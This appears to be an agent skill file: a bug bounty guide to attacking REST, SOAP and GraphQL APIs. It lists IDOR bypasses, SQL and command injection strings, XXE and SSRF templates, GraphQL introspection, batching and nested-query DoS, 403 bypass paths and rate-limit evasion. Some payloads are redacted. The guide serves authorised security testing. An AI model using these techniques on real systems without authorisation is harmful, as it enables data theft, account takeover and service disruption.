api-fuzzing-bug-bounty

> [!WARNING] > This skill contains patterns or instructions related to security testing and exploitation. Active payloads have been redacted to ensure safe usage. # API Fuzzing for Bug Bounty ## Purpose Provide comprehensive techniques for testing REST, SOAP, and GraphQL APIs during bug bounty hunting and penetration testing engagements. Covers vulnerability discovery, authentication bypass, IDOR exploitation, and API-specific attack vectors. ## Inputs/Prerequisites - Burp Suite or similar proxy tool - API wordlists (SecLists, api_wordlist) - Understanding of REST/GraphQL/SOAP protocols - Python for scripting - Target API endpoints and documentation (if available) ## Outputs/Deliverables - Identified API vulnerabilities - IDOR exploitation proofs - Authentication bypass techniques - SQL injection points - Unauthorized data access documentation --- ## API Types Overview | Type | Protocol | Data Format | Structure | |------|----------|-------------|-----------| | SOAP | HTTP | XML | Header + Body | | REST | HTTP | JSON/XML/URL | Defined endpoints | | GraphQL | HTTP | Custom Query | Single endpoint | --- ## Core Workflow ### Step 1: API Reconnaissance Identify API type and enumerate endpoints: ```bash # Check for Swagger/OpenAPI documentation /swagger.json /openapi.json /api-docs /v1/api-docs /swagger-ui.html # Use Kiterunner for API discovery kr scan https://target.com -w routes-large.kite # Extract paths from Swagger python3 json2paths.py swagger.json ``` ### Step 2: Authentication Testing ```bash # Test different login paths /api/mobile/login /api/v3/login /api/magic_link /api/admin/login # Check rate limiting on auth endpoints # If no rate limit → brute force possible # Test mobile vs web API separately # Don't assume same security controls ``` ### Step 3: IDOR Testing Insecure Direct Object Reference is the most common API vulnerability: ```bash # Basic IDOR GET /api/users/1234 → GET /api/users/1235 # Even if ID is email-based, try numeric /?user_id=111 instead of /?user_id=user@mail.com # Test /me/orders vs /user/654321/orders ``` **IDOR Bypass Techniques:** ```bash # Wrap ID in array {"id":111} → {"id":[111]} # JSON wrap {"id":111} → {"id":{"id":111}} # Send ID twice URL?id=<LEGIT>&id=<VICTIM> # Wildcard injection {"user_id":"*"} # Parameter pollution /api/get_profile?user_id=<victim>&user_id=<legit> {"user_id":<legit_id>,"user_id":<victim_id>} ``` ### Step 4: Injection Testing **SQL Injection in JSON:** ```json {"id":"56456"} → OK {"id":"56456 AND 1=1#"} → OK {"id":"56456 AND 1=2#"} → OK {"id":"56456 AND 1=3#"} → ERROR (vulnerable!) {"id":"56456 AND sleep(15)#"} → SLEEP 15 SEC ``` **Command Injection:** ```bash # Ruby on Rails ?url=Kernel#open → ?url=|[REDACTED-ACTIVE-PAYLOAD] # Linux command injection api.url.com/endpoint?name=file.txt;[REDACTED-ACTIVE-PAYLOAD] ``` **XXE Injection:** ```xml <!DOCTYPE test [ <!ENTITY xxe SYSTEM "[REDACTED-ACTIVE-PAYLOAD]"> ]> ``` **SSRF via API:** ```html <object data="[REDACTED-ACTIVE-PAYLOAD]"/> <img src="[REDACTED-ACTIVE-PAYLOAD]"/> ``` **.NET Path.Combine Vulnerability:** ```bash # If .NET app uses Path.Combine(path_1, path_2) # Test for path traversal https://example.org/download?filename=a.png https://example.org/download?filename=[REDACTED-ACTIVE-PAYLOAD] https://example.org/download?filename=[REDACTED-ACTIVE-PAYLOAD] ``` ### Step 5: Method Testing ```bash # Test all HTTP methods GET /api/v1/users/1 POST /api/v1/users/1 PUT /api/v1/users/1 DELETE /api/v1/users/1 PATCH /api/v1/users/1 # Switch content type Content-Type: application/json → application/xml ``` --- ## GraphQL-Specific Testing ### Introspection Query Fetch entire backend schema: ```graphql {__schema{queryType{name},mutationType{name},types{kind,name,description,fields(includeDeprecated:true){name,args{name,type{name,kind}}}}}} ``` **URL-encoded version:** ``` /graphql?query={__schema{types{name,kind,description,fields{name}}}} ``` ### GraphQL IDOR ```graphql # Try accessing other user IDs query { user(id: "OTHER_USER_ID") { email password creditCard } } ``` ### GraphQL SQL/NoSQL Injection ```graphql mutation { login(input: { email: "[REDACTED-ACTIVE-PAYLOAD]" password: "password" }) { success jwt } } ``` ### Rate Limit Bypass (Batching) ```graphql mutation {login(input:{email:"a@example.com" password:"password"}){success jwt}} mutation {login(input:{email:"b@example.com" password:"password"}){success jwt}} mutation {login(input:{email:"c@example.com" password:"password"}){success jwt}} ``` ### GraphQL DoS (Nested Queries) ```graphql query { posts { comments { user { posts { comments { user { posts { ... } } } } } } } } ``` ### GraphQL XSS ```bash # XSS via GraphQL endpoint http://target.com/graphql?query={user(name:"[REDACTED-ACTIVE-PAYLOAD]"){id}} # URL-encoded XSS http://target.com/example?id=[REDACTED-ACTIVE-PAYLOAD] ``` ### GraphQL Tools | Tool | Purpose | |------|---------| | GraphCrawler | Schema discovery | | graphw00f | Fingerprinting | | clairvoyance | Schema reconstruction | | InQL | Burp extension | | GraphQLmap | Exploitation | --- ## Endpoint Bypass Techniques When receiving 403/401, try these bypasses: ```bash # Original blocked request /api/v1/users/sensitivedata → 403 # Bypass attempts /api/v1/users/sensitivedata.json /api/v1/users/sensitivedata? /api/v1/users/sensitivedata/ /api/v1/users/sensitivedata?? /api/v1/users/sensitivedata%20 /api/v1/users/sensitivedata%09 /api/v1/users/sensitivedata# /api/v1/users/sensitivedata&details /api/v1/users/..;/sensitivedata ``` --- ## Output Exploitation ### PDF Export Attacks ```html <!-- LFI via PDF export --> <iframe src="[REDACTED-ACTIVE-PAYLOAD]" height=1000 width=800> <!-- SSRF via PDF export --> <object data="[REDACTED-ACTIVE-PAYLOAD]"/> <!-- Port scanning --> <img src="[REDACTED-ACTIVE-PAYLOAD]"/> <!-- IP disclosure --> <img src="[REDACTED-ACTIVE-PAYLOAD]"/> ``` ### DoS via Limits ```bash # Normal request /api/news?limit=100 # DoS attempt /api/news?limit=9999999999 ``` --- ## Common API Vulnerabilities Checklist | Vulnerability | Description | |---------------|-------------| | API Exposure | Unprotected endpoints exposed publicly | | Misconfigured Caching | Sensitive data cached incorrectly | | Exposed Tokens | API keys/tokens in responses or URLs | | JWT Weaknesses | Weak signing, no expiration, algorithm confusion | | IDOR / BOLA | Broken Object Level Authorization | | Undocumented Endpoints | Hidden admin/debug endpoints | | Different Versions | Security gaps in older API versions | | Rate Limiting | Missing or bypassable rate limits | | Race Conditions | TOCTOU vulnerabilities | | XXE Injection | XML parser exploitation | | Content Type Issues | Switching between JSON/XML | | HTTP Method Tampering | GET→DELETE/PUT abuse | --- ## Quick Reference | Vulnerability | Test Payload | Risk | |---------------|--------------|------| | IDOR | Change user_id parameter | High | | SQLi | `' OR 1=1--` in JSON | Critical | | Command Injection | `; ls /` | Critical | | XXE | DOCTYPE with ENTITY | High | | SSRF | Internal IP in params | High | | Rate Limit Bypass | Batch requests | Medium | | Method Tampering | GET→DELETE | High | --- ## Tools Reference | Category | Tool | URL | |----------|------|-----| | API Fuzzing | Fuzzapi | github.com/Fuzzapi/fuzzapi | | API Fuzzing | API-fuzzer | github.com/Fuzzapi/API-fuzzer | | API Fuzzing | Astra | github.com/flipkart-incubator/Astra | | API Security | apicheck | github.com/BBVA/apicheck | | API Discovery | Kiterunner | github.com/assetnote/kiterunner | | API Discovery | openapi_security_scanner | github.com/ngalongc/openapi_security_scanner | | API Toolkit | APIKit | github.com/API-Security/APIKit | | API Keys | API Guesser | api-guesser.netlify.app | | GUID | GUID Guesser | gist.github.com/DanaEpp/8c6803e542f094da5c4079622f9b4d18 | | GraphQL | InQL | github.com/doyensec/inql | | GraphQL | GraphCrawler | github.com/gsmith257-cyber/GraphCrawler | | GraphQL | graphw00f | github.com/dolevf/graphw00f | | GraphQL | clairvoyance | github.com/nikitastupin/clairvoyance | | GraphQL | batchql | github.com/assetnote/batchql | | GraphQL | graphql-cop | github.com/dolevf/graphql-cop | | Wordlists | SecLists | github.com/danielmiessler/SecLists | | Swagger Parser | Swagger-EZ | rhinosecuritylabs.github.io/Swagger-EZ | | Swagger Routes | swagroutes | github.com/amalmurali47/swagroutes | | API Mindmap | MindAPI | dsopas.github.io/MindAPI/play | | JSON Paths | json2paths | github.com/s0md3v/dump/tree/master/json2paths | --- ## Constraints **Must:** - Test mobile, web, and developer APIs separately - Check all API versions (/v1, /v2, /v3) - Validate both authenticated and unauthenticated access **Must Not:** - Assume same security controls across API versions - Skip testing undocumented endpoints - Ignore rate limiting checks **Should:** - Add `X-Requested-With: XMLHttpRequest` header to simulate frontend - Check archive.org for historical API endpoints - Test for race conditions on sensitive operations --- ## Examples ### Example 1: IDOR Exploitation ```bash # Original request (own data) GET /api/v1/invoices/12345 Authorization: Bearer <token> # Modified request (other user's data) GET /api/v1/invoices/12346 Authorization: Bearer <token> # Response reveals other user's invoice data ``` ### Example 2: GraphQL Introspection ```bash curl -X POST https://target.com/graphql \ -H "Content-Type: application/json" \ -d '{"query":"{__schema{types{name,fields{name}}}}"}' ``` --- ## Troubleshooting | Issue | Solution | |-------|----------| | API returns nothing | Add `X-Requested-With: XMLHttpRequest` header | | 401 on all endpoints | Try adding `?user_id=1` parameter | | GraphQL introspection disabled | Use clairvoyance for schema reconstruction | | Rate limited | Use IP rotation or batch requests | | Can't find endpoints | Check Swagger, archive.org, JS files | ## When to Use This skill is applicable to execute the workflow or actions described in the overview.